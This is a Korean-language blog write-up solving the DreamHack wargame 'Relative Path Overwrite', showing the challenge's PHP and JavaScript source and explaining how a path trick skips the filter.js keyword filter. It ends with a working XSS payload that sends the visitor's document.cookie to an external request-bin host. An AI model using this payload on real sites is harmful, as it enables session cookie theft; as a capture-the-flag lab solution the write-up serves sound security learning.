본문 바로가기

DreamHack

[DreamHack] Relative Path Overwrite

https://dreamhack.io/wargame/challenges/439

 

Relative Path Overwrite

Exercise: Relative Path Overwrite에서 실습하는 문제입니다.

dreamhack.io

난이도: Level 2

index.php

<html>
<head>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css">
<title>Relative-Path-Overwrite</title>
</head>
<body>
    <!-- Fixed navbar -->
    <nav class="navbar navbar-default navbar-fixed-top">
      <div class="container">
        <div class="navbar-header">
          <a class="navbar-brand" href="/">Relative-Path-Overwrite</a>
        </div>
        <div id="navbar">
          <ul class="nav navbar-nav">
            <li><a href="/">Home</a></li>
            <li><a href="/?page=vuln&param=dreamhack">Vuln page</a></li>
            <li><a href="/?page=report">Report</a></li>
          </ul>

        </div><!--/.nav-collapse -->
      </div>
    </nav><br/><br/><br/>
    <div class="container">
      <?php
          $page = $_GET['page'] ? $_GET['page'].'.php' : 'main.php';
          if (!strpos($page, "..") && !strpos($page, ":") && !strpos($page, "/"))
              include $page;
      ?>
    </div>
</body>
</html>

경로 조작이 불가능하도록 필터링되어 있는 것을 확인할 수 있습니다.  

vuln.php

<script src="filter.js"></script>
<!--var filter = ["script", "on", "frame", "object"]; -->
<pre id=param></pre>
<script>
    var param_elem = document.getElementById("param");
    var url = new URL(window.location.href);
    var param = url.searchParams.get("param");
    if (typeof filter !== 'undefined') {
        for (var i = 0; i < filter.length; i++) {
            if (param.toLowerCase().includes(filter[i])) {
                param = "nope !!";
                break;
            }
        }
    }

    param_elem.innerHTML = param;
</script>

<script src="filter.js"></script> 코드가 포함되어 있고, 유저로부터 입력받은 param 값을 소문자로 변환하여 필터링을 거치는 것을 알 수 있습니다. 

 

Vuln Page에 접속하면, 위와 같은 화면이 나오게 되고, 아래와 같이 네트워크를 확인해 본 결과 filter.js가 실행되고 있었습니다.

 

filter.js 코드는 index.php와 동일한 경로에 존재하는 코드이기에 Relative Path Overwrite를 사용한다면 filter.js를 우회할 수 있을 것으로 보입니다. 

Relative Path Overwrite

http://host3.dreamhack.games:23761/index.php/?page=vuln&param=dreamhack 

 

이전과 달리, 중간에 index.php 경로를 추가한 결과 filter.js에 대한 내용이 아닌 index.php 코드가 Response 되는 것을 확인할 수 있습니다. 

 

위와 같은 일이 발생하는 이유는  index.php와 filter.js는 같은 디렉터리에 존재하는데 "/index.php/" 경로가 중간에 추가되면서 웹 서버는 "http//domain:port/index.php/" 경로로 인식하여 JS 파일을 찾지 못하기 때문입니다. 그리하여, 필터링되지 않는 일이 발생하게 됩니다.

 

이 문제의 FLAG를 얻기 위해서는 결과를 받을 곳이 필요하기 때문에 Request Dreamhack Bin에서 결과를 받도록 하였고, Report 페이지에 가서 아래 Payload를 제출하게 되면 Request Dreamhack Bin에서 플래그 값을 얻을 수 있게 됩니다. 

 

index.php/?page=vuln&param=<img src=@ onerror=location.href="https://wdnahva.request.dreamhack.games/"%2bdocument.cookie>

 

'DreamHack' 카테고리의 다른 글

[DreamHack] CSS Injection  (2) 2023.08.31
[DreamHack] Relative Path Overwrite Advanced  (2) 2023.08.13
[DreamHack] filestorage  (0) 2023.08.10
[DreamHack] error-based-sql-injection  (0) 2023.08.09
[DreamHack] sql injection bypass WAF Advanced  (0) 2023.08.09